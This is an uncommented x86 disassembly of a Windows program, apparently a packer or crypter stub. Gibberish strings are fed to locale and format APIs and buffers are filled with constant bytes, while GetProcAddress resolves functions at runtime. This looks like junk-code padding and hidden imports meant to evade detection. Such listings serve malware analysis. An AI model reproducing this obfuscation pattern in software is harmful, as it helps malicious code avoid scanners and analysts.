push 0x2d
push eax
call fcn.0040db84
add esp, 0x54
push 0x105
push str.Auaogessoviowornguoqynvoubfapibiiolaeueodikuifvuaaufxusapohuyeiarahpirhiybtafidqyipauooulortxiqajeuqdugarulemgozgeloeoiuehoejelueltikofiaaheduqegfeqaokuiowaioaewayyofmukabeaupfyupiheeztaqonapeewpooeviooeinkemuoxequziheoqhuxemzeakuvenajaoipatiojqodraepoofiayepecehovxumcajpkakubnesnozikwhahiivmudeuzaaewbareciousoqeximiibguxedmmoaueuxamiiipvkecihagaxoaqmopiiuveuiexmazeeoganlpunuooemtotasazitisqiihoaalictvefeweidqufheznahiqppukbiikeuadgretfzdzovionpefohusubenimoucozeesayiieifolsiwkooualpqoaaiyiawaplzuaoguuicopaqxioovueyeidoadiby
push 0
push str.Fefjuaeedgkatgbxkeiasijenqkhaokaoekutplbmenstvwaboiolazaoejigoaonadodegopwvlxixewpfohoaiwutiiaaeepaiooxeewruhteaqefozwzobgjacozuhfuokpnhoeudthwobiuvqivaozoanaaehabuiicapraogotoapiimjkuvehuezsoiquoyeiubhkamsovgarieltukouweoreaikubagetepeugqogiwleixoeamewvsgdeioeejujauiiaqaudqajeiiraeieskumoacxiahpolubeiogakdbioacmcuouajeqkebeuanihiwetaaxaedeztcjburivptadiuxmiammjcumaitculbuxlucljooiuoroyublufbituoceufaoitevbionugicsyeeeaulifoxesieiovmooiaiholiaodedaoeeumaiueilaijqeeosevucauauabibewovailresauiousoqjgoykljsedpemdopnorcufieaiihexeuafaoemeiuineuzbludadsqaquwgukbuiaoiteeaageidejenufxbevozozfbeteuaeexouijeioisbivpaozunecoealonehineiacetaquyuc
push 0
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
lea ecx, [ebp - 0x104]
push ecx
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xfffffffffffffff4
mov dword [0x6e99d8], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [0x6e9a3c], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push str.Siqes
push str.Qeluvauuge
mov ecx, 0x2e
mov esi, str.Wuaieixjoolermfouukuepniiocgvumpxejoyoiwqapoikcexaivkeqkoupeknueqebpkuwizoumwivuaiheaaondieo
lea edi, [ebp - 0x178c]
rep movsd dword es:[edi], dword [esi]
push 0x424658
push 0x424640
push 0x42463c
push str._s_Zo__s_Euwzeekei__s_Npabfeminx_Pulom__s_Tximleti__s_Zcqntage_Foojro
mov dword [0x6e9a38], eax
lea eax, [ebp - 0x178c]
push 0x5c
push eax
movsw word es:[edi], word [esi]
call fcn.0040d97b
add esp, 0x20
call ebx
mov dword [0x6e9a0c], eax
mov ebx, 2
jmp 0x405c50
mov ecx, 0x17
mov esi, str.Dizfgufrajiiqjoioeaiwxwulfroqouuuseucauutuxauaauloirfitauilarzzasutgublavliatamiaojeytelninsy
lea edi, [ebp - 0x238]
rep movsd dword es:[edi], dword [esi]
push str.Cuiativ
push str._s_Cpzsboxx_Hjiouavgu
lea ecx, [ebp - 0x238]
push 0x5d
push ecx
movsw word es:[edi], word [esi]
call fcn.0040db84
add esp, 0x10
dec ebx
jne 0x405c50
push 0x4244d8
push 0xf34c
mov ecx, 0x13
mov esi, str.Siojiotaqqsukieelucumupegyzlnaszsxiezmeujizonomafoqofaegauzuboeuganoeucazoaja
lea edi, [ebp - 0xb64]
rep movsd dword es:[edi], dword [esi]
push str.Fitwlekuj
push 0x2f12
push 0x4f62
push str._d_Emwbsejoiw__d_Zzuthuxe__s_Qekewelqm__d_Vi__s_Chwezipzi_Obvuq
lea edx, [ebp - 0xb64]
push 0x4d
push edx
movsw word es:[edi], word [esi]
call fcn.0040db84
push 0x625
call fcn.0040db03
mov edx, eax
add esp, 0x24
test edx, edx
je 0x405d0f
mov edi, edx
mov ecx, 0x116
mov eax, 0x1010101
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
mov eax, 0x4b4b4b4b
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov byte [ecx + 8], al
mov edi, edx
mov ecx, 0x27
mov eax, 0x9f9f9f9f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
push 0x424484
push str.Ocyxseti
push 0x659
push 0x424474
push 0x424470
push 0x593e
push str._d_Thoocuy_Raboxe__s_Amefhapa__s_Yuaipeskm_Acolvidia__d_Gv__s_Pa__s_B_Rauywa_Pq
lea edx, [ebp - 0x60c]
xor eax, eax
push 0x34
mov byte [ebp - 0x60c], 0
mov ecx, 0xd
lea edi, [ebp - 0x60b]
push edx
rep stosd dword es:[edi], eax
call fcn.0040db84
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esp, 0x24
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x10]
push ecx
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xcc
mov dword [0x6e9940], eax
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x405dd7
mov edi, edx
mov ecx, 0x2a
mov eax, 0x50505050
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, edx
mov eax, 0x85858585
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov word [ecx + 0xc], ax
mov edi, edx
mov ecx, 0x14
mov eax, 0xdededede
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x25
mov eax, 0xc0c0c0c
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
push 0x134
mov byte [ebp - 0x1b14], 0
xor eax, eax
mov ecx, 0x4c
lea edi, [ebp - 0x1b13]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x1b14]
push edx
push 0
push str.Vuauxenularuxiedvotomanavqcgsujaokhibyvilumaoexuypheaitfeameygiaxiaeiicotikzbiqtngviawltbiheeajoxlhaeekgevbaseoetoavowcimqcjpiuwezpevlruvexuujjeaarxkicaeoieaotigoxyuueakatewucruobahomveoxkyaeuopctsuwuiusibelidoimvfmoeglqwurfirnimeobboiupywiioaqmotonqiuamqohatueakewuaiyaaextyewvejkeohapperxyabiaaaddevuamxoueeukipacohoqcosvizihbqurumoriikbssixtoijayveiaipioiauliwyxojjaadeiasacoewidworoiaperyoftoreiapejobwmusueuwudifejiheeizuyouulaqugabosorcsuzeiojugsbuconouozufiaoxuhcyskuviivnoxuooxiayaefuwbpoveyiocgiuuecfabiieiiktgwcukgukduepdsgoaxspvertiiluuueuoaerejfoouloxapnurwubzloponahifuitaigeqvhisisoougivulljatiaoeawabbeizaivninpsevehudedebzqrkotaaytaekeakuiutowouaaaaiozoidocyebjadqezkorifixuxhijsizohijoejuioidjltjeeeaa
stosw word es:[edi], ax
push 0
push 0x800
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
mov dword [0x6e9a14], eax
xor eax, eax
mov byte [ebp - 0x910], 0
mov ecx, 0x14
lea edi, [ebp - 0x90f]
rep stosd dword es:[edi], eax
push 0x4ee9
push str.Yieihupiu
stosw word es:[edi], ax
push 0x3dc4
push str.C__d_Esaiyo_Pa_Aouenowu__s_Tzmulelut__d_Xfegluxqa_Jy
stosb byte es:[edi], al
lea eax, [ebp - 0x910]
push 0x53
push eax
call fcn.0040db84
add esp, 0x18
mov ecx, 0x74
mov esi, str.Spaareioigvelievcaxoiwqiawespehbpoyiajierooabiwotaohzurideqequxieobaedvuliohyioacobexfiutamouiluvxyuoemueusekiaidibaeobaloodbihikusofiuawaqiyiiutuqaoenyiqriioeetuzopnqeziaaqafvjhlueiaebuobereaiaeokolioiqiogoxromuvswenoiieicqbbvuydoplifmquloseeukosoaymaztoepijumvmurayooetsaoeogiloqebmiuxewqaoyuyutmxedlxxwiuucuruxoneauyujxyoyuudiouetisurauogucpsidigeirlotowinupixxfehsioqopasarieavowakidemebuixmuriyslunfpqmobiahsewatkxumuaunedauauorieeuedywnqunjmubabioecuymnuzex
lea edi, [ebp - 0x2664]
rep movsd dword es:[edi], dword [esi]
push 0x3e
lea ecx, [ebp - 0x2664]
push ecx
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
mov dword [0x6e9a1c], eax
mov esi, 4
mov edi, edi
push 0x3da
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x405eea
mov edi, edx
mov ecx, 0xde
mov eax, 0x7b7b7b7b
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0xdb
mov eax, 0xafafafaf
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, 0x7b7b7b7b
mov edi, edx
mov ecx, 0x59
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x55
mov eax, 0x66666666
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x72
mov eax, 0xa3a3a3a3
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x405e80
lea edx, [ebp - 0x50]
push edx
lea eax, [ebp - 0x10]
push eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1d0
push str.Faeuvipeoocadrlebaeohajetgeaoovzjydioyerhubvoumigoeulacaseneoetkieniaitukiaoqiopioviqiqaqieoealifoaomebiflyeibtukiakeipoozwiaiauwieiuaenkoneatpiwjeomuaaaikezeokqireyuaotoaylepacocedirexaeueluixcimaaigeaqeseaqpamapegouoeolidpixeeheoecieuaudejllfcukbvojuunuexiceoeaieuuueihfeadognaskutaatfavouoaemfodpovztytaspuieihfheeedbauausoylaodyaekeeuuooaskiexomaliaigaaoreemtkmizrnoeavununukyvajuaoejzaqmobnoiecagilroabogaewheziaeseukaeeuhauifuwyepbuviezpoyezuaioovuduwvameuffyeeohzebhiinueoizwj
push 0
push 0
push 2
push 0x800
mov dword [0x6e99dc], eax
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0xfffffffffffffff5
mov dword [0x6e9a24], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0x622
mov dword [0x6e9a3c], eax
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x405f6a
or eax, 0xffffffff
mov edi, edx
mov ecx, 0x122
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0xfc
mov eax, 0x25252525
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
push 0x19f
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x405ff1
mov edi, edx
mov ecx, 0xc
mov eax, 0x1d1d1d1d
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0x3030303
mov edi, edx
mov ecx, 0x23
rep stosd dword es:[edi], eax
mov eax, 0x79797979
mov edi, edx
mov ecx, 0x60
rep stosd dword es:[edi], eax
mov eax, edx
mov ecx, 0xc0c0c0c
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ecx
mov byte [eax + 0x1c], cl
mov edi, edx
mov ecx, 0x51
mov eax, 0x75757575
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x2d
mov eax, 0xbebebebe
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
mov byte [ebp - 0xa04], 0
xor eax, eax
push str.Joioion
mov ecx, 0x1a
lea edi, [ebp - 0xa03]
rep stosd dword es:[edi], eax
push str.Okoakaobg
push 0xb16
push str._d_Ouodxi__s_Loaavad__s_Y
stosw word es:[edi], ax
lea ecx, [ebp - 0xa04]
push 0x6b
push ecx
stosb byte es:[edi], al
call fcn.0040db84
add esp, 0x18
push 0x150
push str.Hoeueuouiifiufcetocbaobeuoouaibfzunukoqpleqehipahoralavuvsaomlzhqivnkaqadfmaaoaleagejgpzvevprhkukiiyhapjcioeqaoqcepvfjcutoexdexolguomehubaceaareqraayetiafgulauwhiguiewokoeanorgaokahetebetebvuebkxixacveevuiijgouthiijayyeaueseaqfeajonmaxooowaaowhreffumsucxriligleagofivukebixohamgenoihaevhisoolgiitiowugeoneoriutxocfboaihupshukelumupiucoupucogirouqaaeuigxubxohzieuuamisaoawemqkayekubocoevtaueawdxbakaeahajacinukeeeeamiurkamezbcofuceuujniieijimabenqhixoyaeozekunqyioeyfvojkeouiyopaburuuatacoiaoakwyezeuuvxtitvuufazueinevazkcuvioejokaciiacueyiucuiivehaaqvuueeowuviawkawooafisocezucsobjuleahfevaiataleeyyuugvohehioazesxmmqurguoaeaeaorecalaworubeqafierkieoiaaizaakxuueohqudlaoxineyibibztaiuqaaocevuiuzeoqoiseujragizqvadidizqgepeiugomkzejueduiaakigagahsoauaeokkeixybqvoeametaruoaeokyioyuaezowemiebxeievubofuajoareoumalvumvofjupfumaaajerikaoayxuzpalaivmirpowwuqiotceieuikehjvnooaiboiueofenoxhaiuapuamnogmyrdafvvoleeekixavfaaiijidozamietdottldhevuegwoqooiaojrzozoxisduaamauzijopusexegksihkr
push 0
push 0
push 2
push 0x800
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov dword [0x6e9a24], eax
mov esi, 3
lea ebx, [ebx]
mov word [ebp - 0x4c14], 0
xor eax, eax
push 0x6f2
mov ecx, 0x378
lea edi, [ebp - 0x4c12]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x4c14]
push edx
push 0xc
push 0x800
stosw word es:[edi], ax
call ebx
dec esi
jne 0x406060
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x10]
push ecx
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4241d4
push 0x3001
push str.Ysaypiwa
push 0xa1ff
push 0xe0d4
push str._d_Iiiimao_Maoe__d_Giuay_Z__s_Levimeeeo_Zuuatuspue__d_Havxhovjwi_N_Tuxk__s_Zaowh_Opi
mov dword [0x6e9960], eax
lea edx, [ebp - 0xac4]
xor eax, eax
push 0x70
mov byte [ebp - 0xac4], 0
mov ecx, 0x1c
lea edi, [ebp - 0xac3]
push edx
rep stosd dword es:[edi], eax
call fcn.0040db84
add esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push 0x6a42
push 0xd996
push 0x4240f8
push str._s_Jaaawob_Hiizset__d_Biczxosj_Kknoo__d_Iuaideu_Ruiptau
lea eax, [ebp - 0x1028]
push 0x35
mov ecx, 0x1b
mov esi, str.Cwoagixuaewecauerunuxchapowpgulrduhaleousevszzhuqgpur
lea edi, [ebp - 0x1028]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.0040d97b
add esp, 0x18
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, 9
lea ecx, [ecx]
push str.Ryqoi
push 0xe834
mov byte [ebp - 0x224], 0
xor eax, eax
mov ecx, 0x12
lea edi, [ebp - 0x223]
rep stosd dword es:[edi], eax
push 0x73d1
push str._d_Zkedvac__d_Znuexuoq__s_Zaiezamooj_Olsizo
lea ecx, [ebp - 0x224]
push 0x49
push ecx
stosb byte es:[edi], al
call fcn.0040db84
add esp, 0x18
dec esi
jne 0x406140
lea edx, [ebp - 0x40]
push edx
lea eax, [ebp - 0x10]
push eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x53a9
mov ecx, 0x18
mov esi, str.Sywqyefmzbgeizzsmazeeuqexqvgquanplgirioevayixede
lea edi, [ebp - 0xeec]
rep movsd dword es:[edi], dword [esi]
push str.Vwuqhaj
push 0xec72
push str.Iiuqooduua
push str._s_Aeipuey_Xalm__d_Lewume__s_Umuohoc_Xurraip__d_Qoiidakit_Gzten
lea ecx, [ebp - 0xeec]
push 0x30
push ecx
mov dword [0x6e99ac], eax
movsw word es:[edi], word [esi]
call fcn.0040d97b
mov ecx, dword [0x423f3c]
mov edx, dword [str.Deimhiueouxaniaj]
mov eax, dword [0x423f38]
push 0x423f30
push str.Lmenv
push str.Ddzexiqio
push 0xfa03
push 0x6500
push str.Oycunisqi__d_Pehuvo_Suoifasega__d_V_Wo__s_Odte__s_Mn__s_Weiyhiiio
mov dword [ebp - 0x1a8], ecx
mov dword [ebp - 0x1b0], edx
mov edx, dword [0x423f40]
mov dword [ebp - 0x1ac], eax
mov al, byte [0x423f44]
lea ecx, [ebp - 0x1b0]
push 0x10
push ecx
mov dword [ebp - 0x1a4], edx
mov byte [ebp - 0x1a0], al
call fcn.0040db84
add esp, 0x3c
mov esi, 3
mov edi, edi
push 0x560
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x40627e
mov edi, edx
mov ecx, 0xa9
mov eax, 0x2c2c2c2c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x11d
mov eax, 0xefefefef
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x406240
mov ebx, 2
jmp 0x406290
mov ecx, 0x12
mov esi, str.Tgjagifnfdoimiudluhucefijmeuoeduuogereyuteaidomaiaiiuopzeusoeeyuzaqookju
lea edi, [ebp - 0x220]
rep movsd dword es:[edi], dword [esi]
push 0x4256dc
push 0xe4b6
push str._d_Ooiscetaiu_Cooecow__s_Ocpoaou_Aaetv
lea edx, [ebp - 0x220]
push 0x48
push edx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x14
dec ebx
jne 0x406290
mov ecx, 0x48
mov esi, str.Qjokjefuodxerukvyauykzuoproofinpeiwezepuwuyloutadaoeaotiaatoaafvnopuiayimojawuhfiicapqeuxifuubmoheaofiuemihazelpbugevqqoqecuzarciuquddeesahauoiicubynoruajfeesotoobildouxiaexidketaicrihfudseiqotautxiedouyosooojadaibdiaweawaaiiowuekbiieoicujiniiaaikoqcyaxaexgowoieniaaaieihuaabaxqeqhexuinhu
lea edi, [ebp - 0x1eb0]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
mov byte [ebp - 0x18a8], 0
mov ecx, 0x46
lea edi, [ebp - 0x18a7]
rep stosd dword es:[edi], eax
push 0x11b
stosw word es:[edi], ax
lea eax, [ebp - 0x18a8]
push eax
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x1eb0]
push ecx
push ebx
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
mov esi, 3
jmp 0x406320
push str.Reisfubuck
push str.Luttloiezq
push str.Clduwanqe
push 0xd052
mov word [ebp - 0x258], bx
xor eax, eax
mov ecx, 0x1f
lea edi, [ebp - 0x256]
push 0x423ce8
rep stosd dword es:[edi], eax
push str._s_Lreew_Nvlpoo_Fetocen__d_W__s_Doo_Wd__s_Lauvf__s_Wuwroidesi_Ihbyoelw
lea edx, [ebp - 0x258]
push 0x3f
push edx
stosw word es:[edi], ax
call fcn.0040d97b
add esp, 0x20
dec esi
jne 0x406320
mov ecx, 8
mov esi, str.Mogxqieypokutprimeypeaeoviwksuxii
lea edi, [ebp - 0x544]
rep movsd dword es:[edi], dword [esi]
push 0x92a4
push 0x97d0
push 0x423c2c
push str.Aa__s_Aepayayzs__d_Fuhlnetei_Zeuobann__d_Diaqpeo_L
lea eax, [ebp - 0x544]
push 0x21
push eax
movsw word es:[edi], word [esi]
call fcn.0040db84
add esp, 0x18
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_GetDateFormatA]
mov dword [0x6e9944], eax
mov esi, 2
jmp 0x4063d0
push 0xd8
push str.Tdtosafchaheweauyooagzfejoatzenzkqriyosiiivgzitaioaafehzuubueiuiduoeyadismbeiosooiuoumibdugatilauajzriototkirjwxyosjihauiecifoqaxevurhaikuqacatatuuenomuenmoieiotezyrvfavrfawofoirzemvacmipooazuntaudicadonayimexuloalpudizynibxowkojdexpeuybofixismsigkezqoeizhtebniefulnnubuweeubieaneairiea
push ebx
push ebx
push 2
push 0x800
call edi
dec esi
mov dword [0x6e9a24], eax
jne 0x4063d0